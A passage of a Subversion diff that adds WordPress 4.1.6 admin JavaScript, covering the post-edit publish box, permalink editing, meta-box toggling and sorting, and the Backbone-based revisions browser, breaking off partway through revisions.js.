+			} else {
+				$('#save-post').show();
+				if ( $('option:selected', postStatus).val() == 'pending' ) {
+					$('#save-post').show().val( postL10n.savePending );
+				} else {
+					$('#save-post').show().val( postL10n.saveDraft );
+				}
+			}
+			return true;
+		};
+
+		$( '#visibility .edit-visibility').click( function () {
+			if ( $postVisibilitySelect.is(':hidden') ) {
+				updateVisibility();
+				$postVisibilitySelect.slideDown('fast').find('input[type="radio"]').first().focus();
+				$(this).hide();
+			}
+			return false;
+		});
+
+		$postVisibilitySelect.find('.cancel-post-visibility').click( function( event ) {
+			$postVisibilitySelect.slideUp('fast');
+			$('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true);
+			$('#post_password').val($('#hidden-post-password').val());
+			$('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked'));
+			$('#post-visibility-display').html(visibility);
+			$('#visibility .edit-visibility').show().focus();
+			updateText();
+			event.preventDefault();
+		});
+
+		$postVisibilitySelect.find('.save-post-visibility').click( function( event ) { // crazyhorse - multiple ok cancels
+			$postVisibilitySelect.slideUp('fast');
+			$('#visibility .edit-visibility').show();
+			updateText();
+
+			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
+				$('#sticky').prop('checked', false);
+			} // WEAPON LOCKED
+
+			if ( $('#sticky').prop('checked') ) {
+				sticky = 'Sticky';
+			} else {
+				sticky = '';
+			}
+
+			$('#post-visibility-display').html(	postL10n[ $postVisibilitySelect.find('input:radio:checked').val() + sticky ]	);
+			event.preventDefault();
+		});
+
+		$postVisibilitySelect.find('input:radio').change( function() {
+			updateVisibility();
+		});
+
+		$timestampdiv.siblings('a.edit-timestamp').click( function( event ) {
+			if ( $timestampdiv.is( ':hidden' ) ) {
+				$timestampdiv.slideDown('fast');
+				$('#mm').focus();
+				$(this).hide();
+			}
+			event.preventDefault();
+		});
+
+		$timestampdiv.find('.cancel-timestamp').click( function( event ) {
+			$timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().focus();
+			$('#mm').val($('#hidden_mm').val());
+			$('#jj').val($('#hidden_jj').val());
+			$('#aa').val($('#hidden_aa').val());
+			$('#hh').val($('#hidden_hh').val());
+			$('#mn').val($('#hidden_mn').val());
+			updateText();
+			event.preventDefault();
+		});
+
+		$timestampdiv.find('.save-timestamp').click( function( event ) { // crazyhorse - multiple ok cancels
+			if ( updateText() ) {
+				$timestampdiv.slideUp('fast');
+				$timestampdiv.siblings('a.edit-timestamp').show();
+			}
+			event.preventDefault();
+		});
+
+		$('#post').on( 'submit', function( event ) {
+			if ( ! updateText() ) {
+				event.preventDefault();
+				$timestampdiv.show();
+
+				if ( wp.autosave ) {
+					wp.autosave.enableButtons();
+				}
+
+				$('#publishing-action .spinner').hide();
+			}
+		});
+
+		$postStatusSelect.siblings('a.edit-post-status').click( function( event ) {
+			if ( $postStatusSelect.is( ':hidden' ) ) {
+				$postStatusSelect.slideDown('fast').find('select').focus();
+				$(this).hide();
+			}
+			event.preventDefault();
+		});
+
+		$postStatusSelect.find('.save-post-status').click( function( event ) {
+			$postStatusSelect.slideUp('fast').siblings('a.edit-post-status').show();
+			updateText();
+			event.preventDefault();
+		});
+
+		$postStatusSelect.find('.cancel-post-status').click( function( event ) {
+			$('#post-status-select').slideUp('fast').siblings( 'a.edit-post-status' ).show().focus();
+			$('#post_status').val( $('#hidden_post_status').val() );
+			updateText();
+			event.preventDefault();
+		});
+	} // end submitdiv
+
+	// permalink
+	function editPermalink() {
+		var i, slug_value,
+			c = 0,
+			e = $('#editable-post-name'),
+			revert_e = e.html(),
+			real_slug = $('#post_name'),
+			revert_slug = real_slug.val(),
+			b = $('#edit-slug-buttons'),
+			revert_b = b.html(),
+			full = $('#editable-post-name-full').html();
+
+		$('#view-post-btn').hide();
+		b.html('<a href="#" class="save button button-small">'+postL10n.ok+'</a> <a class="cancel" href="#">'+postL10n.cancel+'</a>');
+		b.children('.save').click(function() {
+			var new_slug = e.children('input').val();
+			if ( new_slug == $('#editable-post-name-full').text() ) {
+				b.children('.cancel').click();
+				return false;
+			}
+			$.post(ajaxurl, {
+				action: 'sample-permalink',
+				post_id: postId,
+				new_slug: new_slug,
+				new_title: $('#title').val(),
+				samplepermalinknonce: $('#samplepermalinknonce').val()
+			}, function(data) {
+				var box = $('#edit-slug-box');
+				box.html(data);
+				if (box.hasClass('hidden')) {
+					box.fadeIn('fast', function () {
+						box.removeClass('hidden');
+					});
+				}
+				b.html(revert_b);
+				real_slug.val(new_slug);
+				$('#view-post-btn').show();
+			});
+			return false;
+		});
+
+		b.children('.cancel').click(function() {
+			$('#view-post-btn').show();
+			e.html(revert_e);
+			b.html(revert_b);
+			real_slug.val(revert_slug);
+			return false;
+		});
+
+		for ( i = 0; i < full.length; ++i ) {
+			if ( '%' == full.charAt(i) )
+				c++;
+		}
+
+		slug_value = ( c > full.length / 4 ) ? '' : full;
+		e.html('<input type="text" id="new-post-slug" value="'+slug_value+'" />').children('input').keypress(function(e) {
+			var key = e.keyCode || 0;
+			// on enter, just save the new slug, don't save the post
+			if ( 13 == key ) {
+				b.children('.save').click();
+				return false;
+			}
+			if ( 27 == key ) {
+				b.children('.cancel').click();
+				return false;
+			}
+		} ).keyup( function() {
+			real_slug.val(this.value);
+		}).focus();
+	}
+
+	if ( $editSlugWrap.length ) {
+		$editSlugWrap.on( 'click', function( event ) {
+			var $target = $( event.target );
+
+			if ( $target.is('#editable-post-name') || $target.hasClass('edit-slug') ) {
+				editPermalink();
+			}
+		});
+	}
+
+	// word count
+	if ( typeof(wpWordCount) != 'undefined' ) {
+		$document.triggerHandler('wpcountwords', [ co.val() ]);
+
+		co.keyup( function(e) {
+			var k = e.keyCode || e.charCode;
+
+			if ( k == last )
+				return true;
+
+			if ( 13 == k || 8 == last || 46 == last )
+				$document.triggerHandler('wpcountwords', [ co.val() ]);
+
+			last = k;
+			return true;
+		});
+	}
+
+	wptitlehint = function(id) {
+		id = id || 'title';
+
+		var title = $('#' + id), titleprompt = $('#' + id + '-prompt-text');
+
+		if ( '' === title.val() )
+			titleprompt.removeClass('screen-reader-text');
+
+		titleprompt.click(function(){
+			$(this).addClass('screen-reader-text');
+			title.focus();
+		});
+
+		title.blur(function(){
+			if ( '' === this.value )
+				titleprompt.removeClass('screen-reader-text');
+		}).focus(function(){
+			titleprompt.addClass('screen-reader-text');
+		}).keydown(function(e){
+			titleprompt.addClass('screen-reader-text');
+			$(this).unbind(e);
+		});
+	};
+
+	wptitlehint();
+
+	// Resize the visual and text editors
+	( function() {
+		var editor, offset, mce,
+			$textarea = $('textarea#content'),
+			$handle = $('#post-status-info'),
+			$postdivrich = $('#postdivrich');
+
+		// No point for touch devices
+		if ( ! $textarea.length || 'ontouchstart' in window ) {
+			// Hide the resize handle
+			$('#content-resize-handle').hide();
+			return;
+		}
+
+		function dragging( event ) {
+			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
+				return;
+			}
+
+			if ( mce ) {
+				editor.theme.resizeTo( null, offset + event.pageY );
+			} else {
+				$textarea.height( Math.max( 50, offset + event.pageY ) );
+			}
+
+			event.preventDefault();
+		}
+
+		function endDrag() {
+			var height, toolbarHeight;
+
+			if ( $postdivrich.hasClass( 'wp-editor-expand' ) ) {
+				return;
+			}
+
+			if ( mce ) {
+				editor.focus();
+				toolbarHeight = parseInt( $( '#wp-content-editor-container .mce-toolbar-grp' ).height(), 10 );
+
+				if ( toolbarHeight < 10 || toolbarHeight > 200 ) {
+					toolbarHeight = 30;
+				}
+
+				height = parseInt( $('#content_ifr').css('height'), 10 ) + toolbarHeight - 28;
+			} else {
+				$textarea.focus();
+				height = parseInt( $textarea.css('height'), 10 );
+			}
+
+			$document.off( '.wp-editor-resize' );
+
+			// sanity check
+			if ( height && height > 50 && height < 5000 ) {
+				setUserSetting( 'ed_size', height );
+			}
+		}
+
+		$handle.on( 'mousedown.wp-editor-resize', function( event ) {
+			if ( typeof tinymce !== 'undefined' ) {
+				editor = tinymce.get('content');
+			}
+
+			if ( editor && ! editor.isHidden() ) {
+				mce = true;
+				offset = $('#content_ifr').height() - event.pageY;
+			} else {
+				mce = false;
+				offset = $textarea.height() - event.pageY;
+				$textarea.blur();
+			}
+
+			$document.on( 'mousemove.wp-editor-resize', dragging )
+				.on( 'mouseup.wp-editor-resize mouseleave.wp-editor-resize', endDrag );
+
+			event.preventDefault();
+		}).on( 'mouseup.wp-editor-resize', endDrag );
+	})();
+
+	if ( typeof tinymce !== 'undefined' ) {
+		// When changing post formats, change the editor body class
+		$( '#post-formats-select input.post-format' ).on( 'change.set-editor-class', function() {
+			var editor, body, format = this.id;
+
+			if ( format && $( this ).prop( 'checked' ) && ( editor = tinymce.get( 'content' ) ) ) {
+				body = editor.getBody();
+				body.className = body.className.replace( /\bpost-format-[^ ]+/, '' );
+				editor.dom.addClass( body, format == 'post-format-0' ? 'post-format-standard' : format );
+				$( document ).trigger( 'editor-classchange' );
+			}
+		});
+	}
+});
Index: /tags/4.1.6/src/wp-admin/js/postbox.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/postbox.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/postbox.js	(revision 33402)
@@ -0,0 +1,199 @@
+/* global ajaxurl */
+
+var postboxes;
+
+(function($) {
+	var $document = $( document );
+
+	postboxes = {
+		add_postbox_toggles : function(page, args) {
+			var self = this;
+
+			self.init(page, args);
+
+			$('.postbox .hndle, .postbox .handlediv').bind('click.postboxes', function() {
+				var p = $(this).parent('.postbox'), id = p.attr('id');
+
+				if ( 'dashboard_browser_nag' == id )
+					return;
+
+				p.toggleClass('closed');
+
+				if ( page != 'press-this' )
+					self.save_state(page);
+
+				if ( id ) {
+					if ( !p.hasClass('closed') && $.isFunction(postboxes.pbshow) )
+						self.pbshow(id);
+					else if ( p.hasClass('closed') && $.isFunction(postboxes.pbhide) )
+						self.pbhide(id);
+				}
+
+				$document.trigger( 'postbox-toggled', p );
+			});
+
+			$('.postbox .hndle a').click( function(e) {
+				e.stopPropagation();
+			});
+
+			$( '.postbox a.dismiss' ).bind( 'click.postboxes', function() {
+				var hide_id = $(this).parents('.postbox').attr('id') + '-hide';
+				$( '#' + hide_id ).prop('checked', false).triggerHandler('click');
+				return false;
+			});
+
+			$('.hide-postbox-tog').bind('click.postboxes', function() {
+				var boxId = $(this).val(),
+					$postbox = $( '#' + boxId );
+
+				if ( $(this).prop('checked') ) {
+					$postbox.show();
+					if ( $.isFunction( postboxes.pbshow ) )
+						self.pbshow( boxId );
+				} else {
+					$postbox.hide();
+					if ( $.isFunction( postboxes.pbhide ) )
+						self.pbhide( boxId );
+				}
+				self.save_state(page);
+				self._mark_area();
+				$document.trigger( 'postbox-toggled', $postbox );
+			});
+
+			$('.columns-prefs input[type="radio"]').bind('click.postboxes', function(){
+				var n = parseInt($(this).val(), 10);
+
+				if ( n ) {
+					self._pb_edit(n);
+					self.save_order(page);
+				}
+			});
+		},
+
+		init : function(page, args) {
+			var isMobile = $(document.body).hasClass('mobile');
+
+			$.extend( this, args || {} );
+			$('#wpbody-content').css('overflow','hidden');
+			$('.meta-box-sortables').sortable({
+				placeholder: 'sortable-placeholder',
+				connectWith: '.meta-box-sortables',
+				items: '.postbox',
+				handle: '.hndle',
+				cursor: 'move',
+				delay: ( isMobile ? 200 : 0 ),
+				distance: 2,
+				tolerance: 'pointer',
+				forcePlaceholderSize: true,
+				helper: 'clone',
+				opacity: 0.65,
+				stop: function() {
+					if ( $(this).find('#dashboard_browser_nag').is(':visible') && 'dashboard_browser_nag' != this.firstChild.id ) {
+						$(this).sortable('cancel');
+						return;
+					}
+
+					postboxes.save_order(page);
+				},
+				receive: function(e,ui) {
+					if ( 'dashboard_browser_nag' == ui.item[0].id )
+						$(ui.sender).sortable('cancel');
+
+					postboxes._mark_area();
+				}
+			});
+
+			if ( isMobile ) {
+				$(document.body).bind('orientationchange.postboxes', function(){ postboxes._pb_change(); });
+				this._pb_change();
+			}
+
+			this._mark_area();
+		},
+
+		save_state : function(page) {
+			var closed = $('.postbox').filter('.closed').map(function() { return this.id; }).get().join(','),
+				hidden = $('.postbox').filter(':hidden').map(function() { return this.id; }).get().join(',');
+
+			$.post(ajaxurl, {
+				action: 'closed-postboxes',
+				closed: closed,
+				hidden: hidden,
+				closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
+				page: page
+			});
+		},
+
+		save_order : function(page) {
+			var postVars, page_columns = $('.columns-prefs input:checked').val() || 0;
+
+			postVars = {
+				action: 'meta-box-order',
+				_ajax_nonce: $('#meta-box-order-nonce').val(),
+				page_columns: page_columns,
+				page: page
+			};
+			$('.meta-box-sortables').each( function() {
+				postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' );
+			} );
+			$.post( ajaxurl, postVars );
+		},
+
+		_mark_area : function() {
+			var visible = $('div.postbox:visible').length, side = $('#post-body #side-sortables');
+
+			$( '#dashboard-widgets .meta-box-sortables:visible' ).each( function() {
+				var t = $(this);
+
+				if ( visible == 1 || t.children('.postbox:visible').length )
+					t.removeClass('empty-container');
+				else
+					t.addClass('empty-container');
+			});
+
+			if ( side.length ) {
+				if ( side.children('.postbox:visible').length )
+					side.removeClass('empty-container');
+				else if ( $('#postbox-container-1').css('width') == '280px' )
+					side.addClass('empty-container');
+			}
+		},
+
+		_pb_edit : function(n) {
+			var el = $('.metabox-holder').get(0);
+
+			if ( el ) {
+				el.className = el.className.replace(/columns-\d+/, 'columns-' + n);
+			}
+
+			$( document ).trigger( 'postboxes-columnchange' );
+		},
+
+		_pb_change : function() {
+			var check = $( 'label.columns-prefs-1 input[type="radio"]' );
+
+			switch ( window.orientation ) {
+				case 90:
+				case -90:
+					if ( !check.length || !check.is(':checked') )
+						this._pb_edit(2);
+					break;
+				case 0:
+				case 180:
+					if ( $('#poststuff').length ) {
+						this._pb_edit(1);
+					} else {
+						if ( !check.length || !check.is(':checked') )
+							this._pb_edit(2);
+					}
+					break;
+			}
+		},
+
+		/* Callbacks */
+		pbshow : false,
+
+		pbhide : false
+	};
+
+}(jQuery));
Index: /tags/4.1.6/src/wp-admin/js/revisions.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/revisions.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/revisions.js	(revision 33402)
@@ -0,0 +1,1166 @@
+/* global isRtl */
+/**
+ * @file Revisions interface functions, Backbone classes and
+ * the revisions.php document.ready bootstrap.
+ *
+ */
+
+window.wp = window.wp || {};
+
+(function($) {
+	var revisions;
+	/**
+	 * Expose the module in window.wp.revisions.
+	 */
+	revisions = wp.revisions = { model: {}, view: {}, controller: {} };
+
+	// Link post revisions data served from the back-end.
+	revisions.settings = window._wpRevisionsSettings || {};
+
+	// For debugging
+	revisions.debug = false;
+
+	/**
+	 * wp.revisions.log
+	 *
+	 * A debugging utility for revisions. Works only when a
+	 * debug flag is on and the browser supports it.
+	 */
+	revisions.log = function() {
+		if ( window.console && revisions.debug ) {
+			window.console.log.apply( window.console, arguments );
+		}
+	};
+
+	// Handy functions to help with positioning
+	$.fn.allOffsets = function() {
+		var offset = this.offset() || {top: 0, left: 0}, win = $(window);
+		return _.extend( offset, {
+			right:  win.width()  - offset.left - this.outerWidth(),
+			bottom: win.height() - offset.top  - this.outerHeight()
+		});
+	};
+
+	$.fn.allPositions = function() {
+		var position = this.position() || {top: 0, left: 0}, parent = this.parent();
+		return _.extend( position, {
+			right:  parent.outerWidth()  - position.left - this.outerWidth(),
+			bottom: parent.outerHeight() - position.top  - this.outerHeight()
+		});
+	};
+
+	/**
+	 * ========================================================================
+	 * MODELS
+	 * ========================================================================
+	 */
+	revisions.model.Slider = Backbone.Model.extend({
+		defaults: {
+			value: null,
+			values: null,
+			min: 0,
+			max: 1,
+			step: 1,
+			range: false,
+			compareTwoMode: false
+		},
+
+		initialize: function( options ) {
+			this.frame = options.frame;
+			this.revisions = options.revisions;
+
+			// Listen for changes to the revisions or mode from outside
+			this.listenTo( this.frame, 'update:revisions', this.receiveRevisions );
+			this.listenTo( this.frame, 'change:compareTwoMode', this.updateMode );
+
+			// Listen for internal changes
+			this.on( 'change:from', this.handleLocalChanges );
+			this.on( 'change:to', this.handleLocalChanges );
+			this.on( 'change:compareTwoMode', this.updateSliderSettings );
+			this.on( 'update:revisions', this.updateSliderSettings );
+
+			// Listen for changes to the hovered revision
+			this.on( 'change:hoveredRevision', this.hoverRevision );
+
+			this.set({
+				max:   this.revisions.length - 1,
+				compareTwoMode: this.frame.get('compareTwoMode'),
+				from: this.frame.get('from'),
+				to: this.frame.get('to')
+			});
+			this.updateSliderSettings();
+		},
+
+		getSliderValue: function( a, b ) {
+			return isRtl ? this.revisions.length - this.revisions.indexOf( this.get(a) ) - 1 : this.revisions.indexOf( this.get(b) );
+		},
+
+		updateSliderSettings: function() {
+			if ( this.get('compareTwoMode') ) {
+				this.set({
+					values: [
+						this.getSliderValue( 'to', 'from' ),
+						this.getSliderValue( 'from', 'to' )
+					],
+					value: null,
+					range: true // ensures handles cannot cross
+				});
+			} else {
+				this.set({
+					value: this.getSliderValue( 'to', 'to' ),
+					values: null,
+					range: false
+				});
+			}
+			this.trigger( 'update:slider' );
+		},
+
+		// Called when a revision is hovered
+		hoverRevision: function( model, value ) {
+			this.trigger( 'hovered:revision', value );
+		},
+
+		// Called when `compareTwoMode` changes
+		updateMode: function( model, value ) {
+			this.set({ compareTwoMode: value });
+		},
+
+		// Called when `from` or `to` changes in the local model
+		handleLocalChanges: function() {
+			this.frame.set({
+				from: this.get('from'),
+				to: this.get('to')
+			});
+		},
+
+		// Receives revisions changes from outside the model
+		receiveRevisions: function( from, to ) {
+			// Bail if nothing changed
+			if ( this.get('from') === from && this.get('to') === to ) {
+				return;
+			}
+
+			this.set({ from: from, to: to }, { silent: true });
+			this.trigger( 'update:revisions', from, to );
+		}
+
+	});
+
+	revisions.model.Tooltip = Backbone.Model.extend({
+		defaults: {
+			revision: null,
+			offset: {},
+			hovering: false, // Whether the mouse is hovering
+			scrubbing: false // Whether the mouse is scrubbing
+		},
+
+		initialize: function( options ) {
+			this.frame = options.frame;
+			this.revisions = options.revisions;
+			this.slider = options.slider;
+
+			this.listenTo( this.slider, 'hovered:revision', this.updateRevision );
+			this.listenTo( this.slider, 'change:hovering', this.setHovering );
+			this.listenTo( this.slider, 'change:scrubbing', this.setScrubbing );
+		},
+
+
+		updateRevision: function( revision ) {
+			this.set({ revision: revision });
+		},
+
+		setHovering: function( model, value ) {
+			this.set({ hovering: value });
+		},
+
+		setScrubbing: function( model, value ) {
+			this.set({ scrubbing: value });
+		}
+	});
+
+	revisions.model.Revision = Backbone.Model.extend({});
+
+	/**
+	 * wp.revisions.model.Revisions
+	 *
+	 * A collection of post revisions.
+	 */
+	revisions.model.Revisions = Backbone.Collection.extend({
+		model: revisions.model.Revision,
+
+		initialize: function() {
+			_.bindAll( this, 'next', 'prev' );
+		},
+
+		next: function( revision ) {
+			var index = this.indexOf( revision );
+
+			if ( index !== -1 && index !== this.length - 1 ) {
+				return this.at( index + 1 );
+			}
+		},
+
+		prev: function( revision ) {
+			var index = this.indexOf( revision );
+
+			if ( index !== -1 && index !== 0 ) {
+				return this.at( index - 1 );
+			}
+		}
+	});
+
+	revisions.model.Field = Backbone.Model.extend({});
+
+	revisions.model.Fields = Backbone.Collection.extend({
+		model: revisions.model.Field
+	});
+
+	revisions.model.Diff = Backbone.Model.extend({
+		initialize: function() {
+			var fields = this.get('fields');
+			this.unset('fields');
+
+			this.fields = new revisions.model.Fields( fields );
+		}
+	});
+
+	revisions.model.Diffs = Backbone.Collection.extend({
+		initialize: function( models, options ) {
+			_.bindAll( this, 'getClosestUnloaded' );
+			this.loadAll = _.once( this._loadAll );
+			this.revisions = options.revisions;
+			this.postId = options.postId;
+			this.requests  = {};
+		},
+
+		model: revisions.model.Diff,
+
+		ensure: function( id, context ) {
+			var diff     = this.get( id ),
+				request  = this.requests[ id ],
+				deferred = $.Deferred(),
+				ids      = {},
+				from     = id.split(':')[0],
+				to       = id.split(':')[1];
+			ids[id] = true;
+
+			wp.revisions.log( 'ensure', id );
+
+			this.trigger( 'ensure', ids, from, to, deferred.promise() );
+
+			if ( diff ) {
+				deferred.resolveWith( context, [ diff ] );
+			} else {
+				this.trigger( 'ensure:load', ids, from, to, deferred.promise() );
+				_.each( ids, _.bind( function( id ) {
+					// Remove anything that has an ongoing request
+					if ( this.requests[ id ] ) {
+						delete ids[ id ];
+					}
+					// Remove anything we already have
+					if ( this.get( id ) ) {
+						delete ids[ id ];
+					}
+				}, this ) );
+				if ( ! request ) {
+					// Always include the ID that started this ensure
+					ids[ id ] = true;
+					request   = this.load( _.keys( ids ) );
+				}
+
+				request.done( _.bind( function() {
+					deferred.resolveWith( context, [ this.get( id ) ] );
+				}, this ) ).fail( _.bind( function() {
+					deferred.reject();
+				}) );
+			}
+
+			return deferred.promise();
+		},
+
+		// Returns an array of proximal diffs
+		getClosestUnloaded: function( ids, centerId ) {
+			var self = this;
+			return _.chain([0].concat( ids )).initial().zip( ids ).sortBy( function( pair ) {
+				return Math.abs( centerId - pair[1] );
+			}).map( function( pair ) {
+				return pair.join(':');
+			}).filter( function( diffId ) {
+				return _.isUndefined( self.get( diffId ) ) && ! self.requests[ diffId ];
+			}).value();
+		},
+
+		_loadAll: function( allRevisionIds, centerId, num ) {
+			var self = this, deferred = $.Deferred(),
+				diffs = _.first( this.getClosestUnloaded( allRevisionIds, centerId ), num );
+			if ( _.size( diffs ) > 0 ) {
+				this.load( diffs ).done( function() {
+					self._loadAll( allRevisionIds, centerId, num ).done( function() {
+						deferred.resolve();
+					});
+				}).fail( function() {
+					if ( 1 === num ) { // Already tried 1. This just isn't working. Give up.
+						deferred.reject();
+					} else { // Request fewer diffs this time
+						self._loadAll( allRevisionIds, centerId, Math.ceil( num / 2 ) ).done( function() {
+							deferred.resolve();
+						});
+					}
+				});
+			} else {
+				deferred.resolve();
+			}
+			return deferred;
+		},
+
+		load: function( comparisons ) {
+			wp.revisions.log( 'load', comparisons );
+			// Our collection should only ever grow, never shrink, so remove: false
+			return this.fetch({ data: { compare: comparisons }, remove: false }).done( function() {
+				wp.revisions.log( 'load:complete', comparisons );
+			});
+		},
+
+		sync: function( method, model, options ) {
+			if ( 'read' === method ) {
+				options = options || {};
+				options.context = this;
+				options.data = _.extend( options.data || {}, {
+					action: 'get-revision-diffs',
+					post_id: this.postId
+				});
+
+				var deferred = wp.ajax.send( options ),
+					requests = this.requests;
+
+				// Record that we're requesting each diff.
+				if ( options.data.compare ) {
+					_.each( options.data.compare, function( id ) {
+						requests[ id ] = deferred;
+					});
+				}
+
+				// When the request completes, clear the stored request.
+				deferred.always( function() {
+					if ( options.data.compare ) {
+						_.each( options.data.compare, function( id ) {
+							delete requests[ id ];
+						});
+					}
+				});
+
+				return deferred;
+
+			// Otherwise, fall back to `Backbone.sync()`.
+			} else {
+				return Backbone.Model.prototype.sync.apply( this, arguments );
+			}
+		}
+	});
+
+
+	/**
+	 * wp.revisions.model.FrameState
+	 *
+	 * The frame state.
+	 *
+	 * @see wp.revisions.view.Frame
+	 *
+	 * @param {object}                    attributes        Model attributes - none are required.
+	 * @param {object}                    options           Options for the model.
+	 * @param {revisions.model.Revisions} options.revisions A collection of revisions.
+	 */
+	revisions.model.FrameState = Backbone.Model.extend({
+		defaults: {
+			loading: false,
+			error: false,
+			compareTwoMode: false
+		},
+
+		initialize: function( attributes, options ) {
+			var state = this.get( 'initialDiffState' );
+			_.bindAll( this, 'receiveDiff' );
+			this._debouncedEnsureDiff = _.debounce( this._ensureDiff, 200 );
+
+			this.revisions = options.revisions;
+
+			this.diffs = new revisions.model.Diffs( [], {
+				revisions: this.revisions,
+				postId: this.get( 'postId' )
+			} );
+
+			// Set the initial diffs collection.
+			this.diffs.set( this.get( 'diffData' ) );
+
+			// Set up internal listeners
+			this.listenTo( this, 'change:from', this.changeRevisionHandler );
+			this.listenTo( this, 'change:to', this.changeRevisionHandler );
+			this.listenTo( this, 'change:compareTwoMode', this.changeMode );
+			this.listenTo( this, 'update:revisions', this.updatedRevisions );
+			this.listenTo( this.diffs, 'ensure:load', this.updateLoadingStatus );
+			this.listenTo( this, 'update:diff', this.updateLoadingStatus );
+
+			// Set the initial revisions, baseUrl, and mode as provided through attributes.
+
+			this.set( {
+				to : this.revisions.get( state.to ),
+				from : this.revisions.get( state.from ),
+				compareTwoMode : state.compareTwoMode
+			} );
+
+			// Start the router if browser supports History API
+			if ( window.history && window.history.pushState ) {
+				this.router = new revisions.Router({ model: this });
+				Backbone.history.start({ pushState: true });
+			}
+		},
+
+		updateLoadingStatus: function() {
+			this.set( 'error', false );
+			this.set( 'loading', ! this.diff() );
+		},
+
+		changeMode: function( model, value ) {
+			var toIndex = this.revisions.indexOf( this.get( 'to' ) );
+
+			// If we were on the first revision before switching to two-handled mode,
+			// bump the 'to' position over one
+			if ( value && 0 === toIndex ) {
+				this.set({
+					from: this.revisions.at( toIndex ),
+					to:   this.revisions.at( toIndex + 1 )
+				});
+			}
+
+			// When switching back to single-handled mode, reset 'from' model to
+			// one position before the 'to' model
+			if ( ! value && 0 !== toIndex ) { // '! value' means switching to single-handled mode
+				this.set({
+					from: this.revisions.at( toIndex - 1 ),
+					to:   this.revisions.at( toIndex )
+				});
+			}
+		},
+
+		updatedRevisions: function( from, to ) {
+			if ( this.get( 'compareTwoMode' ) ) {
+				// TODO: compare-two loading strategy
+			} else {
+				this.diffs.loadAll( this.revisions.pluck('id'), to.id, 40 );
+			}
+		},
+
+		// Fetch the currently loaded diff.
+		diff: function() {
+			return this.diffs.get( this._diffId );
+		},
+
+		// So long as `from` and `to` are changed at the same time, the diff
+		// will only be updated once. This is because Backbone updates all of
+		// the changed attributes in `set`, and then fires the `change` events.
+		updateDiff: function( options ) {
+			var from, to, diffId, diff;
+
+			options = options || {};
+			from = this.get('from');
+			to = this.get('to');
+			diffId = ( from ? from.id : 0 ) + ':' + to.id;
+
+			// Check if we're actually changing the diff id.
+			if ( this._diffId === diffId ) {
+				return $.Deferred().reject().promise();
+			}
+
+			this._diffId = diffId;
+			this.trigger( 'update:revisions', from, to );
+
+			diff = this.diffs.get( diffId );
+
+			// If we already have the diff, then immediately trigger the update.
+			if ( diff ) {
+				this.receiveDiff( diff );
+				return $.Deferred().resolve().promise();
+			// Otherwise, fetch the diff.
+			} else {
+				if ( options.immediate ) {
+					return this._ensureDiff();
+				} else {
+					this._debouncedEnsureDiff();
+					return $.Deferred().reject().promise();
+				}
+			}
+		},
+
+		// A simple wrapper around `updateDiff` to prevent the change event's
+		// parameters from being passed through.
+		changeRevisionHandler: function() {
+			this.updateDiff();
+		},
+
+		receiveDiff: function( diff ) {
+			// Did we actually get a diff?
+			if ( _.isUndefined( diff ) || _.isUndefined( diff.id ) ) {
+				this.set({
+					loading: false,
+					error: true
+				});
+			} else if ( this._diffId === diff.id ) { // Make sure the current diff didn't change
+				this.trigger( 'update:diff', diff );
+			}
+		},
+
+		_ensureDiff: function() {
+			return this.diffs.ensure( this._diffId, this ).always( this.receiveDiff );
+		}
+	});
+
+
+	/**
+	 * ========================================================================
+	 * VIEWS
+	 * ========================================================================
+	 */
+
+	/**
+	 * wp.revisions.view.Frame
+	 *
+	 * Top level frame that orchestrates the revisions experience.
+	 *
+	 * @param {object}                     options       The options hash for the view.
+	 * @param {revisions.model.FrameState} options.model The frame state model.
+	 */
+	revisions.view.Frame = wp.Backbone.View.extend({
+		className: 'revisions',
+		template: wp.template('revisions-frame'),
+
+		initialize: function() {
+			this.listenTo( this.model, 'update:diff', this.renderDiff );
+			this.listenTo( this.model, 'change:compareTwoMode', this.updateCompareTwoMode );
+			this.listenTo( this.model, 'change:loading', this.updateLoadingStatus );
+			this.listenTo( this.model, 'change:error', this.updateErrorStatus );
+
+			this.views.set( '.revisions-control-frame', new revisions.view.Controls({
+				model: this.model
+			}) );
+		},
+
+		render: function() {
+			wp.Backbone.View.prototype.render.apply( this, arguments );
+
+			$('html').css( 'overflow-y', 'scroll' );
+			$('#wpbody-content .wrap').append( this.el );
+			this.updateCompareTwoMode();
+			this.renderDiff( this.model.diff() );
+			this.views.ready();
+
+			return this;
+		},
+
+		renderDiff: function( diff ) {
+			this.views.set( '.revisions-diff-frame', new revisions.view.Diff({
+				model: diff
+			}) );
+		},
+
+		updateLoadingStatus: function() {
+			this.$el.toggleClass( 'loading', this.model.get('loading') );
+		},
+
+		updateErrorStatus: function() {
+			this.$el.toggleClass( 'diff-error', this.model.get('error') );
+		},
+
+		updateCompareTwoMode: function() {
+			this.$el.toggleClass( 'comparing-two-revisions', this.model.get('compareTwoMode') );
+		}
+	});
+
+	/**
+	 * wp.revisions.view.Controls
+	 *
+	 * The controls view.
+	 *
+	 * Contains the revision slider, previous/next buttons, the meta info and the compare checkbox.
+	 */
+	revisions.view.Controls = wp.Backbone.View.extend({
+		className: 'revisions-controls',
+
+		initialize: function() {
+			_.bindAll( this, 'setWidth' );
+
+			// Add the button view
+			this.views.add( new revisions.view.Buttons({
+				model: this.model
+			}) );
+
+			// Add the checkbox view
+			this.views.add( new revisions.view.Checkbox({
+				model: this.model
+			}) );
+
+			// Prep the slider model
+			var slider = new revisions.model.Slider({
+				frame: this.model,
+				revisions: this.model.revisions
+			}),
+
+			// Prep the tooltip model
+			tooltip = new revisions.model.Tooltip({
+				frame: this.model,
+				revisions: this.model.revisions,
+				slider: slider
+			});
+
+			// Add the tooltip view
+			this.views.add( new revisions.view.Tooltip({
+				model: tooltip
+			}) );
+
+			// Add the tickmarks view
+			this.views.add( new revisions.view.Tickmarks({
+				model: tooltip
+			}) );
+
+			// Add the slider view
+			this.views.add( new revisions.view.Slider({
+				model: slider
+			}) );
+
